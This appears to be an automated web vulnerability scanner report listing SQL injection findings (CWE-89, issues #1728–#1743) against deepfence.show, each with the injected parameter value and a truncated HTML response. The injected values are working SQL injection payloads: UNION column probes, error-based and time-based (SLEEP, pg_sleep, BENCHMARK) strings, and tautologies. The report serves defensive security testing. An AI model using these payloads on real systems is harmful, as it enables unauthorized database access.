Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1728
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' and 1 in (select min(name) from sysobjects where xtype = '
U' and name > '.') --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1729
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1730
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(
0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,
FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1731
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1732
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1733
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1734Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '^'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1735
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# WHERE 1=1 AND 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1736
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1737
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1738
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR x=x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1739
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ') or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1740
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1741
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1083=1083 AND (1427=
1427
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1742
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# OR x=y
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1743
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
ResponseContent-type: text/html; charset=UTF-8
